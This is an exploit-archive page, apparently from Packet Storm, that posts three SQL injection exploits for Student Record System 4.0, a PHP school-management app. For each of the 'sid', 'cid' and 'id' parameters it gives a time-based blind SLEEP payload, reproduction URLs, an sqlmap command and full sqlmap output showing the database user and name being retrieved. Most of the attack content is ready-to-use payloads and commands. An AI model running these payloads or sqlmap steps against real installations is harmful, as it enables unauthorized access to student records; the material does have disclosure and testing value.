exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Student Record System 4.0 SQL Injection

Student Record System 4.0 SQL Injection
Posted Feb 2, 2021
Authored by Jannick Tiger

Student Record System version 4.0 suffers from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, sql injection
SHA-256 | dfe6590104e43fcb91a49df285fbbeb22689cc463fc4fdf97ee7c72ee83a16fb

Student Record System 4.0 SQL Injection

Change Mirror Download
# Exploit Title: Student Record System 4.0 - 'sid' SQL Injection
# Google Dork: N/A
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP

# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-subject.php
3. Click edit on any user and then add the following payload to the url
payload:' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnkL) AND 'uXEB'='uXEB
url:http://localhost/schoolmanagement/pages/edit-sub.php?sid=3' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnkL) AND 'uXEB'='uXEB

If the web server makes you wait 5 seconds then it's vulnerable

# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u http://localhost/schoolmanagement/pages/edit-sub.php?sid=3 --batch --dbms=mysql --current-db --current-user



[11:27:06] [INFO] GET parameter 'sid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[11:27:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:27:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:27:08] [INFO] checking if the injection point on GET parameter 'sid' is a false positive
GET parameter 'sid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: sid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: sid=3' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnkL) AND 'uXEB'='uXEB
---
[11:27:29] [INFO] the back-end DBMS is MySQL
[11:27:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:27:34] [INFO] fetching current user
[11:27:34] [INFO] retrieved:
[11:27:44] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
[11:28:40] [INFO] fetching current database
[11:28:40] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
[11:29:38] [INFO] fetched data logged to text files under





-------

# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection
# Google Dork: N/A
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP

# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-course.php
3. Click edit on any user and then add the following payload to the url
payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI
url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI

If the web server makes you wait 5 seconds then it's vulnerable

# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u http://localhost/schoolmanagement/edit-course.php?cid=7 --batch --dbms=mysql --current-db --current-user



___
__H__
___ ___["]_____ ___ ___ {1.4.10.16#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:21:36 /2021-02-02/

[13:21:36] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.100.242:80/schoolmanagement/index.php'. Do you want to follow? [Y/n] Y
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=88oau62p72k...thmqvnofk6'). Do you want to use those [Y/n] Y
[13:21:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[13:21:37] [INFO] testing if the target URL content is stable
[13:21:37] [WARNING] GET parameter 'cid' does not appear to be dynamic
[13:21:37] [WARNING] heuristic (basic) test shows that GET parameter 'cid' might not be injectable
[13:21:37] [INFO] testing for SQL injection on GET parameter 'cid'
[13:21:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:21:38] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[13:21:38] [INFO] testing 'Generic inline queries'
[13:21:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:21:39] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)
[13:21:50] [INFO] GET parameter 'cid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[13:21:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:21:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:21:52] [INFO] checking if the injection point on GET parameter 'cid' is a false positive
GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: cid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI
---
[13:22:13] [INFO] the back-end DBMS is MySQL
[13:22:13] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[13:22:18] [INFO] fetching current user
[13:22:18] [INFO] retrieved:
[13:22:28] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
[13:23:24] [INFO] fetching current database
[13:23:24] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
[13:24:22] [INFO] fetched data logged to text files under





-----

# Exploit Title: Student Record System 4.0 - 'id' SQL Injection
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP

# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view.php
3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 6593 FROM (SELECT(SLEEP(5)))tlDh) AND 'nzIe'='nzIe
If the web server makes you wait 5 seconds then it's vulnerable

# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u
http://localhost/schoolmanagement/pages/edit-std.php?id=3 --batch
--dbms=mysql --current-db --current-user


___
__H__
___ ___[,]_____ ___ ___ {1.4.10.16#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:44:26 /2021-02-02/


[17:44:27] [WARNING] GET parameter 'id' does not appear to be dynamic
[17:44:27] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[17:44:27] [INFO] testing for SQL injection on GET parameter 'id'
[17:44:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:44:28] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:44:28] [INFO] testing 'Generic inline queries'
[17:44:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:44:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[17:44:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:44:28] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)
[17:44:40] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:44:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:44:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:44:42] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=3' AND (SELECT 6593 FROM (SELECT(SLEEP(5)))tlDh) AND 'nzIe'='nzIe
---
[17:45:02] [INFO] the back-end DBMS is MySQL
[17:45:02] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:45:07] [INFO] fetching current user
[17:45:07] [INFO] retrieved:
[17:45:18] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
[17:46:13] [INFO] fetching current database
[17:46:13] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
[17:47:11] [INFO] fetched data logged to text files under



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close